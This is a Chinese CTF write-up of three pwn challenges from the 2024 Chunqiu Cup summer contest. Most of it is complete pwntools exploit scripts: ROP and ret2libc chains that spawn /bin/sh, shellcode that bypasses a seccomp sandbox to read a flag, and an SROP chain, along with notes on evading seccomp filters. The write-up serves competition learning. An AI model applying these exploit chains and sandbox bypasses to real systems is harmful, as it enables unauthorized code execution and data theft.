2024春秋杯夏季赛-pwn

awdp没看,ctf只做出来两题,还有一题理论可行。

参考博客:

https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/

2024春秋杯WP - lmarch2 - 博客园 (cnblogs.com)

目录

- stdout

- Shuffled_Execution

- Save the preceniss

stdout

libc版本:Ubuntu GLIBC 2.31-0ubuntu9.9

主函数溢出0x10字节,能覆盖到ret_addr;程序中有vuln函数,溢出 0x200-0x20 字节

初始化函数中 setvbuf(stdout, 0LL, 0, 0LL)设置为了标准输出无缓冲,setvbuf(stdin, 0LL, 2, 0LL)还是正常输出

1
2
3
4
5
int init()
{
setvbuf(stdout, 0LL, 0, 0LL);
return setvbuf(stdin, 0LL, 2, 0LL);
}

看了其他师傅的,整理出来三种解法:

解法一

每次十六分之一的概率,爆破stdout–>_IO_2_1_stderr_,然后就能正常打印,再打ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *



if __name__ == '__main__' :
context.log_level = 'info'
IPort = '8.147.134.120 13093'
pwnfile = './pwn'
libc_name = '/ctf/work/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6'
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF(libc_name)

while True:
try:
io = init(pwnfile, IPort, libc_name)

vuln = 0x0040125D
prdi = 0x00000000004013d3
prsi_r15 = 0x00000000004013d1

# debug('b *0x401286')
s( b'\x00'*0x58 + p64(vuln))
payload = p64(prdi) + p64(0) + p64(prsi_r15) + p64(0x00404070) + p64(0) + p64(elf.sym['read'])
payload += p64(prdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(vuln)
payload = b'a'*0x28 + payload
sl(payload)

s(p16(0x95c0))

puts_addr = uu64(io.recv(6, timeout=0.5))
if puts_addr:
log.success("===The attack was successful===")
libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_bash = libc_base + next(libc.search(b'/bin/sh'))
leak("libc_base", libc_base)
leak("puts_addr", puts_addr)
payload = cyclic(0x28) + p64(prdi) + p64(bin_bash) + p64(system)
# sleep(0.5)
sl(payload)
itr()
else:
continue
except EOFError:
io.close()
log.failure("...The attack failed...")
continue

解法二

下面这位师傅的解法:https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/

2024全国大学生信息安全竞赛(ciscn)半决赛(东北赛区)Pwn题解_2024ciscn华东北赛区wp-CSDN博客

setvbuf

  • 全缓冲:0,缓冲区满调用fflush() 后输出缓冲区内容。
  • 行缓冲:1,缓冲区满遇到换行符调用fflush() 后输出缓冲区内容。
  • 无缓冲:2,直接输出。

全缓冲应对方法:

  • 调用setvbuf设置为无缓冲的stdout
  • 调用fflush函数刷新缓冲区
  • 填满缓冲区,程序会将所有的缓冲区内容全部输出

这位师傅就是利用程序中的extend()函数来填满缓冲区来拿libc

image-20240707140349798

image-20240707141852935

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

if __name__ == '__main__' :
context.log_level = 'info'
IPort = '8.147.134.120 13093'
pwnfile = './pwn'
libc_name = '/ctf/work/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6'
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF(libc_name)

io = init(pwnfile, IPort, libc_name)

vuln = 0x0040125D
prdi = 0x00000000004013d3
ret = prdi + 1
prsi_r15 = 0x00000000004013d1

payload = cyclic(0x58) + p64(elf.sym['vuln'])
s(payload)

for i in range(150):
payload = cyclic(0x28) + p64(elf.sym['extend']) + p64(prdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['vuln'])
sl(payload)
success(i)
try:
res = io.recvuntil(b'hello!\n', timeout=0.1)
if res:
libc_base = uu64(r64()) - libc.sym['puts']
break
except EOFError:
continue
except Exception as e:
log.error(f"...error occurred: {e}")
continue
finally:
pass
leak("libc_base", libc_base)

system = libc_base + libc.sym['system']
bin_bash = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a' * 0x28 + p64(prdi) + p64(bin_bash) + p64(system)
sl(payload)
leak("system", system)

itr()
# debug()
# leak("puts_addr", puts_addr)


解法三

参考这位师傅的博客:2024春秋杯WP - lmarch2 - 博客园 (cnblogs.com)

在setvbuf附近找到syscall,read调rax,然后利用csu调寄存器、调到syscall执行execve(‘/bin/sh\x00’)

image-20240707150839242

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

def csu(rdi, rsi, rdx, func_addr):
payload = p64(csu1) + p64(0) + p64(1) + p64(rdi) + p64(rsi) + p64(rdx) + p64(func_addr) + p64(csu2)
return payload

# .text:00000000004013B0 loc_4013B0: ; CODE XREF: __libc_csu_init+54↓j
# .text:00000000004013B0 mov rdx, r14
# .text:00000000004013B3 mov rsi, r13
# .text:00000000004013B6 mov edi, r12d
# .text:00000000004013B9 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
# .text:00000000004013BD add rbx, 1
# .text:00000000004013C1 cmp rbp, rbx
# .text:00000000004013C4 jnz short loc_4013B0
# .text:00000000004013C6
# .text:00000000004013C6 loc_4013C6: ; CODE XREF: __libc_csu_init+35↑j
# .text:00000000004013C6 add rsp, 8
# .text:00000000004013CA pop rbx
# .text:00000000004013CB pop rbp
# .text:00000000004013CC pop r12
# .text:00000000004013CE pop r13
# .text:00000000004013D0 pop r14
# .text:00000000004013D2 pop r15
# .text:00000000004013D4 retn

if __name__ == '__main__' :
context.log_level = 'info'
IPort = '8.147.134.120 13093'
pwnfile = './pwn'
libc_name = '/ctf/work/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6'
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF(libc_name)


io = init(pwnfile, IPort, libc_name)

extend = 0x401287
vuln = 0x40125D
main = 0x401333
flag = 0x404070 + 0x100
read_plt = elf.sym['read']
setvbuf_got = elf.got['setvbuf']
prsi_r15 = 0x00000000004013d1
prdi = 0x00000000004013d3
csu1 = 0x4013CA
csu2 = 0x4013B0

s( b'\x00'*0x58 + p64(vuln))

#bss_addr : "flag"
payload = cyclic(0x28) + p64(prdi) + p64(0) + p64(prsi_r15) + p64(flag) + p64(0) + p64(read_plt) + p64(vuln)
sl(payload)
sleep(0.5)
sl(b'/bin/sh\x00')

#setvbuf_got-->syscall
# debug()
payload = cyclic(0x28) + p64(prdi) + p64(0) + p64(prsi_r15) + p64(setvbuf_got) + p64(0) + p64(read_plt) #改setvbuf为syscall
payload += p64(prsi_r15) + p64(flag+0x100)+p64(0)+p64(read_plt) #通过read输入长度调整rax,配合csu实现execve("/bin/sh\x00", 0, 0)
payload += csu(flag, 0, 0, setvbuf_got)

s(payload)
# pause()
s(p8(0x34))
# pause()
s(b'a'*0x3b)

# debug()
itr()

如果是改别的函数的话会有些麻烦,例如puts,低一字节变化范围内,libc里是没有syscall指令的,需要爆破低二字节高位,也就是十六分之一的概率

如果是rand或者srand,因为存在延迟绑定,got表还没有跟libc中的函数地址相关联,需要调用一次,那么需要在改got前执行一次extend()函数才能改它们的got表地址

总的说这位师傅的wp已经是极简的了。

Shuffled_Execution

libc:2.35-0ubuntu3.8_amd64

先用\x00开头的shellcode绕过shuffle()的加密

shellcode绕沙盒的题目,没什么太多好讲的,主要是对orw的替换

image-20240707152951757

一些orw惯用方法:

1.函数替换: cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep xxx

open openat openat2 ……

read readv preadv pread64 mmap preadv2 ……

write writev pwritev ……

2.利用4字节系统调用号绕过

使用seccomp-tools,如果没有判断sys_number >= 0x40000000(不存在A != ARCH_X86_64),可以使用0x40000000|sys_number 来绕过

3.侧信道爆破

write相关函数无法使用,需要利用侧信道来爆破flag

也会使用mprotect来辅助orw的使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#coding:utf-8
from pwn import *
from tw11ty import *
# from ctypes import *
# import ctypes

if __name__ == '__main__' :
# context.log_level = 'info'
IPort = '8.147.135.233 41323'
pwnfile = './Shuffled_Execution'
libc_name = '/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF(libc_name)

io = init(pwnfile, IPort, libc_name)
# debug('b *$rebase(0x1560)') #x/10i 0x1337000
shellcode = asm("""
add al, al
mov rsp, rax
add rsp, 0x500
mov r12, 0x67616c66
push r12
mov rsi, rsp
mov rdi, -100
mov rdx, 0
mov rax, 257
syscall

mov rdi, 0x10000
mov rsi, 0x100
mov rdx, 1
mov rcx, 2
mov r8, rax
mov r10, 2
mov rax, 9
syscall

mov rdi, 0x1
mov rdx, 0x1
push 0x100
push rax
mov rsi, rsp
mov rax,0x14
syscall
""")
s(shellcode)
itr()

Save the preceniss

不可能的爆破

这题没出,路走歪了。一直在尝试爆srand(0),本地debug可以出,理论可行。。。

记混了,四字节爆破16^8,概率太低了

本地调通

image-20240707161117801

openat+SROP调用mmap + write,因为爆不出来所以就不多写了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#coding:utf-8
from pwn import *
from tw11ty import *
from ctypes import *

if __name__ == '__main__' :
context.log_level = 'info'
IPort = '8.147.128.54 44681'
pwnfile = './SavethePrincess'
libc_name = '/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF(libc_name)
cdll = cdll.LoadLibrary(libc_name)

while True:
try:
io = init(pwnfile, IPort, libc_name)
passwd = b'nwlrbbmq\x00' #--> srand(0)
#leak_base
sla(b'> \n', str(1))
# debug('set {char[8]} $rebase(0x04050) = "nwlrbbmq"\n \
# tele $rebase(0x04050) \n \
# b *$rebase(0x016c5)')
sla(b'please input your password: \n', b'AAA')
ru(b'AAA')
base = u64(r(6)[-6:].ljust(8,b'\x00')) + 0x356
bss = base + 0x4080

#leak_canary&libc_base
sla(b'> \n', str(1))
# pause()
sla(b'please input your password: \n', passwd)
io.recvline()
info = io.recvline(timeout=0.2)
print("info = ", info)
if not info.startswith(b",nononno"):
# io.recvuntil(b'successfully, Embrace the power!!!\n')
sl(b'%9$p-%10$p-%35$p')
io.recvuntil(b'0x')
canary = int(io.recv(16), 16)
ru(b'0x')
stack = int(io.recv(12), 16)
ru(b'0x')
libc_base = int(r(12), 16) - 0x29e40
leak("canary", canary)
leak("libc_base", libc_base)
leak("stack", stack)

prax = libc_base + 0x0000000000045eb0
prdi = libc_base + 0x000000000002a3e5
prcx = libc_base + 0x000000000003d1ee
prsi = libc_base + 0x000000000002be51
pr8 = libc_base + 0x00000000001659e6
pr10 = libc_base + 0x0000000000053b00
prdx__r12 = libc_base + 0x000000000011f2e7
syscall = libc_base + 0x0000000000091316
pat = libc_base + 0x0000000000114534
pr12 = libc_base + 0x0000000000035731
push_r12_eax1 = libc_base + 0x0000000000165a06

flag_addr = stack - 0x60

sla(b'> \n', str(2))

openat = p64(prdi) + p64(0xffffffffffffff9c) + p64(prsi) + p64(flag_addr) + p64(prdx__r12) + p64(0)*2 + p64(prax) + p64(257) + p64(syscall)
write = p64(prdi) + p64(1) + p64(prsi) + p64(libc_base + 0x262000) + p64(prdx__r12) + p64(0x20)*2 + p64(prax) + p64(1) + p64(syscall)

frame_mmap = SigreturnFrame()
frame_mmap.rdi = flag_addr + 8
frame_mmap.rsi = 0x20
frame_mmap.rdx = 1
frame_mmap.r8 = 3
frame_mmap.r9 = 0
frame_mmap.r10 = 2
frame_mmap.rax = 9
frame_mmap.rip = syscall
frame_mmap.rsp = flag_addr + 0x60 + len(openat) + len(frame_mmap)

payload = b'flag\x00\x00\x00\x00' + b'a'*0x30 + p64(canary) + b'a'*8 + openat
payload += p64(prax) + p64(0xf) + p64(syscall) + flat(frame_mmap)
payload += write

sla(b'Attack the dragon!!\n', payload)

# leak("base", base)
ru(b'Did you succeed?\n')
info = io.recv(timeout=0.1)
io.close()
if not info.startswith(b'flag'):
continue
else:
log.success("u win!!!")
print("flag is ", info)
break
else:
continue
except EOFError:
continue
finally:
pass

ps:syscall ret指令的寻找:ROPgadget –multibr –binary=/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6 | grep “syscall”

python低版本中的ctypes库在加载高版本的libc.so文件时会加载失败,需要使用高版本python(python3.8加载libc2.35失败)

正确解法

lmarch2师傅有写

自己太粗心了,没观察到栈信息,直接想着用/dev/urandom的绕过了。通过爆破love字符串,输入buf长度为0xa带出循环次数i,通过判断i位置来判断passwd字段是否正确

image-20240707162258071

exp就不贴了。

暑假的第一场比赛,算是尽心尽力了。